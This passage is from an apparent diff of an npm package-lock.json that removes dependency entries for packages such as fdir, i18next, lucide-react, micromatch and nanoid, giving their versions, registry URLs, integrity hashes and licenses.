"sha512-GwLTyxkCXjXbxqIhTsMI2Nui8huMPtnxg7krajPJAjnEG/iiOS7i+zCtWGZR9G0NBKbXKh6X9m9UIsYX/N6vvQ==", - "license": "ISC", - "dependencies": { - "reusify": "^1.0.4" - } - }, - "node_modules/fdir": { - "version": "6.5.0", - "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", - "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", - "license": "MIT", - "engines": { - "node": ">=12.0.0" - }, - "peerDependencies": { - "picomatch": "^3 || ^4" - }, - "peerDependenciesMeta": { - "picomatch": { - "optional": true - } - } - }, - "node_modules/file-entry-cache": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-8.0.0.tgz", - "integrity": "sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "flat-cache": "^4.0.0" - }, - "engines": { - "node": ">=16.0.0" - } - }, - "node_modules/fill-range": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", - "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", - "license": "MIT", - "dependencies": { - "to-regex-range": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/find-up": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", - "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", - "dev": true, - "license": "MIT", - "dependencies": { - "locate-path": "^6.0.0", - "path-exists": "^4.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/flat-cache": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-4.0.1.tgz", - "integrity": "sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==", - "dev": true, - "license": "MIT", - "dependencies": { - "flatted": "^3.2.9", - "keyv": "^4.5.4" - }, - "engines": { - "node": ">=16" - } - }, - "node_modules/flatted": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.3.3.tgz", - "integrity": "sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==", - "dev": true, - "license": "ISC" - }, - "node_modules/fraction.js": { - "version": "5.3.4", - "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-5.3.4.tgz", - "integrity": "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": "*" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/rawify" - } - }, - "node_modules/fsevents": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", - "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": "^8.16.0 || ^10.6.0 || >=11.0.0" - } - }, - "node_modules/function-bind": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", - "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/gensync": { - "version": "1.0.0-beta.2", - "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", - "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/get-nonce": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/get-nonce/-/get-nonce-1.0.1.tgz", - "integrity": "sha512-FJhYRoDaiatfEkUK8HKlicmu/3SGFD51q3itKDGoSTysQJBnfOcxU5GxnhE1E6soB76MbT0MBtnKJuXyAx+96Q==", - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/glob-parent": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", - "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", - "license": "ISC", - "dependencies": { - "is-glob": "^4.0.3" - }, - "engines": { - "node": ">=10.13.0" - } - }, - "node_modules/globals": { - "version": "16.5.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-16.5.0.tgz", - "integrity": "sha512-c/c15i26VrJ4IRt5Z89DnIzCGDn9EcebibhAOjw5ibqEHsE1wLUgkPn9RDmNcUKyU87GeaL633nyJ+pplFR2ZQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/hasown": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", - "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", - "license": "MIT", - "dependencies": { - "function-bind": "^1.1.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/hermes-estree": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/hermes-estree/-/hermes-estree-0.25.1.tgz", - "integrity": "sha512-0wUoCcLp+5Ev5pDW2OriHC2MJCbwLwuRx+gAqMTOkGKJJiBCLjtrvy4PWUGn6MIVefecRpzoOZ/UV6iGdOr+Cw==", - "dev": true, - "license": "MIT" - }, - "node_modules/hermes-parser": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/hermes-parser/-/hermes-parser-0.25.1.tgz", - "integrity": "sha512-6pEjquH3rqaI6cYAXYPcz9MS4rY6R4ngRgrgfDshRptUZIc3lw0MCIJIGDj9++mfySOuPTHB4nrSW99BCvOPIA==", - "dev": true, - "license": "MIT", - "dependencies": { - "hermes-estree": "0.25.1" - } - }, - "node_modules/html-parse-stringify": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/html-parse-stringify/-/html-parse-stringify-3.0.1.tgz", - "integrity": "sha512-KknJ50kTInJ7qIScF3jeaFRpMpE8/lfiTdzf/twXyPBLAGrLRTmkz3AdTnKeh40X8k9L2fdYwEp/42WGXIRGcg==", - "license": "MIT", - "dependencies": { - "void-elements": "3.1.0" - } - }, - "node_modules/i18next": { - "version": "25.7.3", - "resolved": "https://registry.npmjs.org/i18next/-/i18next-25.7.3.tgz", - "integrity": "sha512-2XaT+HpYGuc2uTExq9TVRhLsso+Dxym6PWaKpn36wfBmTI779OQ7iP/XaZHzrnGyzU4SHpFrTYLKfVyBfAhVNA==", - "funding": [ - { - "type": "individual", - "url": "https://locize.com" - }, - { - "type": "individual", - "url": "https://locize.com/i18next.html" - }, - { - "type": "individual", - "url": "https://www.i18next.com/how-to/faq#i18next-is-awesome.-how-can-i-support-the-project" - } - ], - "license": "MIT", - "dependencies": { - "@babel/runtime": "^7.28.4" - }, - "peerDependencies": { - "typescript": "^5" - }, - "peerDependenciesMeta": { - "typescript": { - "optional": true - } - } - }, - "node_modules/ignore": { - "version": "5.3.2", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", - "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, - "node_modules/immer": { - "version": "10.2.0", - "resolved": "https://registry.npmjs.org/immer/-/immer-10.2.0.tgz", - "integrity": "sha512-d/+XTN3zfODyjr89gM3mPq1WNX2B8pYsu7eORitdwyA2sBubnTl3laYlBk4sXY5FUa5qTZGBDPJICVbvqzjlbw==", - "license": "MIT", - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/immer" - } - }, - "node_modules/import-fresh": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz", - "integrity": "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "parent-module": "^1.0.0", - "resolve-from": "^4.0.0" - }, - "engines": { - "node": ">=6" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/imurmurhash": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", - "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.8.19" - } - }, - "node_modules/internmap": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/internmap/-/internmap-2.0.3.tgz", - "integrity": "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==", - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/is-binary-path": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", - "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", - "license": "MIT", - "dependencies": { - "binary-extensions": "^2.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/is-core-module": { - "version": "2.16.1", - "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz", - "integrity": "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==", - "license": "MIT", - "dependencies": { - "hasown": "^2.0.2" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-extglob": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-glob": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", - "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", - "license": "MIT", - "dependencies": { - "is-extglob": "^2.1.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - "license": "MIT", - "engines": { - "node": ">=0.12.0" - } - }, - "node_modules/isexe": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", - "dev": true, - "license": "ISC" - }, - "node_modules/jiti": { - "version": "1.21.7", - "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.7.tgz", - "integrity": "sha512-/imKNG4EbWNrVjoNC/1H5/9GFy+tqjGBHCaSsN+P2RnPqjsLmv6UD3Ej+Kj8nBWaRAwyk7kK5ZUc+OEatnTR3A==", - "license": "MIT", - "bin": { - "jiti": "bin/jiti.js" - } - }, - "node_modules/js-tokens": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", - "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/js-yaml": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz", - "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==", - "dev": true, - "license": "MIT", - "dependencies": { - "argparse": "^2.0.1" - }, - "bin": { - "js-yaml": "bin/js-yaml.js" - } - }, - "node_modules/jsesc": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", - "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==", - "dev": true, - "license": "MIT", - "bin": { - "jsesc": "bin/jsesc" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/json-buffer": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", - "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/json-schema-traverse": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", - "dev": true, - "license": "MIT" - }, - "node_modules/json-stable-stringify-without-jsonify": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", - "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", - "dev": true, - "license": "MIT" - }, - "node_modules/json5": { - "version": "2.2.3", - "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", - "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", - "dev": true, - "license": "MIT", - "bin": { - "json5": "lib/cli.js" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/keyv": { - "version": "4.5.4", - "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz", - "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==", - "dev": true, - "license": "MIT", - "dependencies": { - "json-buffer": "3.0.1" - } - }, - "node_modules/levn": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", - "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "prelude-ls": "^1.2.1", - "type-check": "~0.4.0" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/lilconfig": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.3.tgz", - "integrity": "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==", - "license": "MIT", - "engines": { - "node": ">=14" - }, - "funding": { - "url": "https://github.com/sponsors/antonk52" - } - }, - "node_modules/lines-and-columns": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", - "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==", - "license": "MIT" - }, - "node_modules/locate-path": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", - "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", - "dev": true, - "license": "MIT", - "dependencies": { - "p-locate": "^5.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/lodash.merge": { - "version": "4.6.2", - "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", - "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/lru-cache": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", - "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", - "dev": true, - "license": "ISC", - "dependencies": { - "yallist": "^3.0.2" - } - }, - "node_modules/lucide-react": { - "version": "0.562.0", - "resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-0.562.0.tgz", - "integrity": "sha512-82hOAu7y0dbVuFfmO4bYF1XEwYk/mEbM5E+b1jgci/udUBEE/R7LF5Ip0CCEmXe8AybRM8L+04eP+LGZeDvkiw==", - "license": "ISC", - "peerDependencies": { - "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" - } - }, - "node_modules/merge2": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", - "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", - "license": "MIT", - "engines": { - "node": ">= 8" - } - }, - "node_modules/micromatch": { - "version": "4.0.8", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", - "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", - "license": "MIT", - "dependencies": { - "braces": "^3.0.3", - "picomatch": "^2.3.1" - }, - "engines": { - "node": ">=8.6" - } - }, - "node_modules/micromatch/node_modules/picomatch": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", - "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", - "license": "MIT", - "engines": { - "node": ">=8.6" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", - "dev": true, - "license": "ISC", - "dependencies": { - "brace-expansion": "^1.1.7" - }, - "engines": { - "node": "*" - } - }, - "node_modules/ms": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - "dev": true, - "license": "MIT" - }, - "node_modules/mz": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz", - "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==", - "license": "MIT", - "dependencies": { - "any-promise": "^1.0.0", - "object-assign": "^4.0.1", - "thenify-all": "^1.0.0" - } - }, - "node_modules/nanoid": { - "version": "3.3.11", - "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", - "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "bin": { - "nanoid": "bin/nanoid.cjs" - }, - "engines": { - "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" - } - }, - "node_modules/natural-compare": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", - "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", - "dev": true, - "license": "MIT" - }, - "node_modules/node-releases": { - "version": "2.0.27", - "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.27.tgz", - "integrity": "sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA==", - "dev": true, - "license": "MIT" - }, - "node_modules/normalize-path": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", - "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/object-assign": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", - "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/object-hash": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz", - "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==", - "license": "MIT", - "engines": { - "node": ">= 6" - } - }, - "node_modules/optionator": { - "version": "0.9.4", - "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz", - "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==", - "dev": true, - "license": "MIT", - "dependencies": { - "deep-is": "^0.1.3", - "fast-levenshtein": "^2.0.6", - "levn": "^0.4.1", - "prelude-ls": "^1.2.1", - "type-check": "^0.4.0", - "word-wrap": "^1.2.5" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/p-limit": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", - "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "yocto-queue": "^0.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/p-locate": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", - "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", - "dev": true, - "license": "MIT", - "dependencies": { - "p-limit": "^3.0.2" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/parent-module": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", - "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", - "dev": true, - "license": "MIT", - "dependencies": { - "callsites": "^3.0.0" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/path-exists": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", - "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/path-key": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/path-parse": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", - "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", - "license": "MIT" - }, - "node_modules/picocolors": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", - "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", - "license": "ISC" - }, - "node_modules/picomatch": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", - "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/pify": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", - "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/pirates": { - "version": "4.0.7", - "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.7.tgz", - "integrity": "sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA==", - "license": "MIT", - "engines": { - "node": ">= 6" - } - }, - "node_modules/postcss": { - "version": "8.5.6", - "resolved": 